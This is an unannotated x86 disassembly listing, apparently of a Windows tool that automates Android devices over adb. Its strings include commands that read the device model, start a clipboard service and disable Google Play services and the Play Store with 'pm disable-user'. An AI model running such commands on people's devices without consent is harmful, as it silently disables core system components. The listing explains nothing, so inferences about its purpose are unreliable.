push eax
mov ebx, eax
call fcn.0040102b
inc eax
push eax
call fcn.0052e1b3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x9c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b311d
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov ebx, dword [ebp - 0x9c]
mov dword [ebx], eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 4]
call fcn.00415485
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jne 0x4b57a0
mov eax, str.com.google.trillyz
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004b6d65
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b3177
push ebx
call fcn.0052e1b9
add esp, 4
push dword [ebp + 8]
call fcn.004b747f
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push str.image
push dword [ebp - 0x9c]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b31c8
push ebx
call fcn.0052e1b9
add esp, 4
mov dword [ebp - 0xa4], 0
push 0
push dword [ebp - 0xa4]
mov dword [ebp - 0xa8], 0
push 0
push dword [ebp - 0xa8]
push 1
push 0
push 1
lea eax, [ebp - 0x48]
push eax
mov eax, str..jpg.webp.png
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.00484ffd
mov dword [ebp - 0xb0], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b3230
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x4b3243
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
push eax
lea eax, [ebp - 0x2c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4b3458
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
call fcn.004166f6
mov dword [ebp - 0xa0], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b3299
mov eax, 0x61d995
push eax
push 1
mov ebx, 0x52f4f0
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b32c5
push ebx
call fcn.0052e1b9
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0xa4]
push 1
mov ebx, 0x52eac0
call fcn.0052e1bf
add esp, 0x10
mov ebx, dword [ebp - 0x48]
call fcn.00401197
push ebx
push ecx
mov ebx, dword [ebp - 0x48]
call fcn.004023f8
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x52ed10
call fcn.0052e1bf
add esp, 0x1c
dec eax
jns 0x4b3336
push 0x10e2
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b3353
push 0x10e2
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0xa4], ebx
mov ebx, dword [ebp - 0xa4]
mov eax, dword [ebx]
test eax, eax
je 0x4b337f
push eax
mov ebx, eax
call fcn.0040102b
inc eax
push eax
call fcn.0052e1b3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4b3390
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push dword [ebp - 0x4c]
push str.image_
push dword [ebp - 0x9c]
mov ecx, 3
call fcn.00401096
add esp, 0xc
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b33e0
push ebx
call fcn.0052e1b9
add esp, 4
mov dword [ebp - 0xa4], 0
push 0
push dword [ebp - 0xa4]
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0048688e
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b341f
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xa8], 1
jne 0x4b3436
jmp 0x4b3458
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4b344c
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
pop eax
pop ebx
pop ecx
jmp 0x4b3258
add esp, 0xc
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push str.configconfig.ini
push dword [ebp - 0x9c]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b34a4
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.szmm
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b34d8
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b3504
push ebx
call fcn.0052e1b9
add esp, 4
push 0x63735c
push dword [ebp - 0xa4]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b353b
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xa8], 0
je 0x4b363c
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0xac], eax
push str.configconfig.ini
push dword [ebp - 0xac]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xb0], eax
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x4b3591
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.azcli
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xb0]
test eax, eax
jne 0x4b35c5
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x4b35f1
push ebx
call fcn.0052e1b9
add esp, 4
push 0x63735c
push dword [ebp - 0xb4]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp - 0xb4]
test ebx, ebx
je 0x4b3628
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xb8], 0
je 0x4b363c
mov eax, 1
jmp 0x4b3641
mov eax, 0
test eax, eax
je 0x4b3656
push dword [ebp - 4]
call fcn.00436eef
jmp 0x4b3656
mov eax, 0x6374d5
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b3688
push ebx
call fcn.0052e1b9
add esp, 4
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 0x14
jg 0x4b3a92
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b36bf
push 0x13a5
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b36dc
push 0x13a5
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 1
jne 0x4b3705
jmp 0x4b3a92
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b372f
push 0x1415
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b374c
push 0x1415
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x38
mov dword [ebp - 0x9c], ebx
push dword [ebp - 0x9c]
lea eax, [ebp - 0x38]
push eax
call fcn.004196cf
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jne 0x4b3a8c
mov eax, str.getprop_ro.product.model
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00418eda
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b37b0
push ebx
call fcn.0052e1b9
add esp, 4
push 0x80000101
push 0
push 0xa
push 1
mov ebx, 0x52ee80
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa4], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 9
call fcn.0040118f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x4b3800
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b3817
mov eax, 0x61d995
push eax
push 6
mov ebx, 0x52f980
call fcn.0052e1bf
add esp, 0x4c
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b3843
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b3856
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x4b386d
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x54], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 9
call fcn.0040118f
push reloc.WS2_32.dll_connect
push 0
push 0x621049
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x4b38a6
mov eax, 0x61d995
push eax
push 6
mov ebx, 0x52f980
call fcn.0052e1bf
add esp, 0x4c
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
push eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x4b38d6
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x54], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x6374f7
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x4b390b
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x52f080
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0xffffffff
je 0x4b3a49
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x4b3950
mov eax, 0x61d995
push eax
push 2
mov ebx, 0x52edd0
call fcn.0052e1bf
add esp, 0x1c
mov dword [ebp - 0xa8], eax
push 0x6374fa
push dword [ebp - 0xa8]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0xac], eax
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x4b39a0
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xac], 0
je 0x4b3a49
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x4b39cc
mov eax, 0x61d995
push eax
push 2
mov ebx, 0x52edd0
call fcn.0052e1bf
add esp, 0x1c
mov dword [ebp - 0xb0], eax
push 0x6374fc
push dword [ebp - 0xb0]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x4b3a1c
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xb4], 0
je 0x4b3a49
push 0x6374fe
push dword [ebp - 0x54]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b3a49
mov eax, 1
jmp 0x4b3a4e
mov eax, 0
test eax, eax
je 0x4b3a80
push dword [ebp + 8]
call fcn.00419acc
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jne 0x4b3a7b
jmp 0x4b3a92
jmp 0x4b3a80
mov dword [ebp - 0x50], 0
jmp 0x4b3a8c
pop ecx
jmp 0x4b368a
add esp, 4
mov eax, 0x637507
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b3ac7
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x4b3add
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x58], eax
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 0x63
jg 0x4b3bad
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b3b18
push 0x185e
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b3b35
push 0x185e
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 1
jne 0x4b3b5e
jmp 0x4b3bad
call fcn.004b7f3d
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
push eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x4b3b80
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x58], eax
push 0x61d995
push dword [ebp - 0x58]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b3ba7
jmp 0x4b3bad
pop ecx
jmp 0x4b3ae3
add esp, 4
mov dword [ebp - 0x5c], 1
push 0x61d995
push dword [ebp - 0x58]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b3beb
push 1
push dword [ebp - 0x60]
push 1
lea eax, [ebp - 0x58]
push eax
push dword [ebp + 8]
call fcn.0041ac0e
mov dword [ebp - 0x5c], eax
jmp 0x4b3bf0
jmp 0x4b2240
cmp dword [ebp - 0x5c], 0
jne 0x4b5738
mov dword [ebp - 0x60], 1
mov eax, 0x637514
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b3c33
push ebx
call fcn.0052e1b9
add esp, 4
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 0xa
jg 0x4b3fd4
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b3c6a
push 0x1ac8
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b3c87
push 0x1ac8
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 1
jne 0x4b3cb0
jmp 0x4b3fd4
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b3cda
push 0x1b38
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b3cf7
push 0x1b38
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x38
mov dword [ebp - 0x9c], ebx
push dword [ebp - 0x9c]
lea eax, [ebp - 0x38]
push eax
call fcn.004196cf
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jne 0x4b3fce
mov eax, str.getprop_ro.product.model
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00418eda
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b3d5b
push ebx
call fcn.0052e1b9
add esp, 4
push 0x80000101
push 0
push 0xa
push 1
mov ebx, 0x52ee80
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xa4], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 9
call fcn.0040118f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x4b3dab
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b3dc2
mov eax, 0x61d995
push eax
push 6
mov ebx, 0x52f980
call fcn.0052e1bf
add esp, 0x4c
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b3dee
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b3e01
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x4b3e18
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x54], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x6374f7
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x4b3e4d
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x52f080
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0xffffffff
je 0x4b3f8b
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x4b3e92
mov eax, 0x61d995
push eax
push 2
mov ebx, 0x52edd0
call fcn.0052e1bf
add esp, 0x1c
mov dword [ebp - 0xa8], eax
push 0x6374fa
push dword [ebp - 0xa8]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0xac], eax
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x4b3ee2
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xac], 0
je 0x4b3f8b
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x4b3f0e
mov eax, 0x61d995
push eax
push 2
mov ebx, 0x52edd0
call fcn.0052e1bf
add esp, 0x1c
mov dword [ebp - 0xb0], eax
push 0x6374fc
push dword [ebp - 0xb0]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x4b3f5e
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xb4], 0
je 0x4b3f8b
push 0x6374fe
push dword [ebp - 0x54]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b3f8b
mov eax, 1
jmp 0x4b3f90
mov eax, 0
test eax, eax
je 0x4b3fc2
push dword [ebp + 8]
call fcn.00419acc
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jne 0x4b3fbd
jmp 0x4b3fd4
jmp 0x4b3fc2
mov dword [ebp - 0x50], 0
jmp 0x4b3fce
pop ecx
jmp 0x4b3c35
add esp, 4
cmp dword [ebp - 0x50], 1
jne 0x4b55d1
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004b8c88
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push str.configconfig.ini
push dword [ebp - 0x9c]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4037
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.azcli
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b406b
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b4097
push ebx
call fcn.0052e1b9
add esp, 4
push 0x63735c
push dword [ebp - 0xa4]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b40ce
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xa8], 0
je 0x4b4121
mov eax, str.am_startservice_ca.zgrs.clipper_.ClipboardService
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00418eda
mov ebx, eax
test ebx, ebx
je 0x4b4109
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b411c
push ebx
call fcn.0052e1b9
add esp, 4
jmp 0x4b4121
push 3
push dword [ebp - 0x40]
call fcn.0041abcd
push 0x1f4
call fcn.004153a8
mov eax, 0x63751d
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push dword [ebp - 0x40]
call fcn.0041ef05
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4165
push ebx
call fcn.0052e1b9
add esp, 4
push 0x1f4
call fcn.004153a8
mov eax, 0x63751d
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00429ff0
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b41a1
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, str.mark.via
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00429ff0
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b41d3
push ebx
call fcn.0052e1b9
add esp, 4
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push str.configconfig.ini
push dword [ebp - 0x9c]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b421c
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.zcggdl
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b4250
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b427c
push ebx
call fcn.0052e1b9
add esp, 4
push 0x63735c
push dword [ebp - 0xa4]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b42b3
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xa8], 0
je 0x4b42c5
jmp 0x4b4347
mov eax, str.pm_disable_user_com.google.android.gms
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00418eda
mov ebx, eax
test ebx, ebx
je 0x4b42f3
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4306
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, str.pm_disable_user_com.android.vending
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00418eda
mov ebx, eax
test ebx, ebx
je 0x4b4334
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4347
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, 0x637507
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4379
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x4b438f
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x4b43a9
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x68], eax
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x4b43c3
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], 0
push 1
lea eax, [ebp - 0x70]
push eax
push 1
lea eax, [ebp - 0x6c]
push eax
push 1
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 4]
call fcn.004b940c
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jne 0x4b555c
mov eax, 0x72b1cc
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4431
push ebx
call fcn.0052e1b9
add esp, 4
push 3
push dword [ebp - 0x40]
call fcn.0041abcd
push 0x3e8
call fcn.004153a8
mov eax, 0x63751d
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push dword [ebp - 0x40]
call fcn.0041ef05
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b4475
push ebx
call fcn.0052e1b9
add esp, 4
push 0x1f4
call fcn.004153a8
mov eax, 0x63751d
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push dword [ebp - 0x40]
call fcn.0041ef05
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b44ac
push ebx
call fcn.0052e1b9
add esp, 4
push 0x1f4
call fcn.004153a8
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.004dc02c
push dword [ebp + 8]
call fcn.004b747f
push 3
push dword [ebp - 0x40]
call fcn.0041abcd
push 0x3e8
call fcn.004153a8
mov eax, 0x63751d
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push dword [ebp - 0x40]
call fcn.0041ef05
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b450e
push ebx
call fcn.0052e1b9
add esp, 4
push 0x1f4
call fcn.004153a8
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 0xa
jg 0x4b45f9
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b454f
push 0x2572
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b456c
push 0x2572
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 1
jne 0x4b4595
jmp 0x4b45f9
mov eax, str.com.google.trillyz
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004dfefe
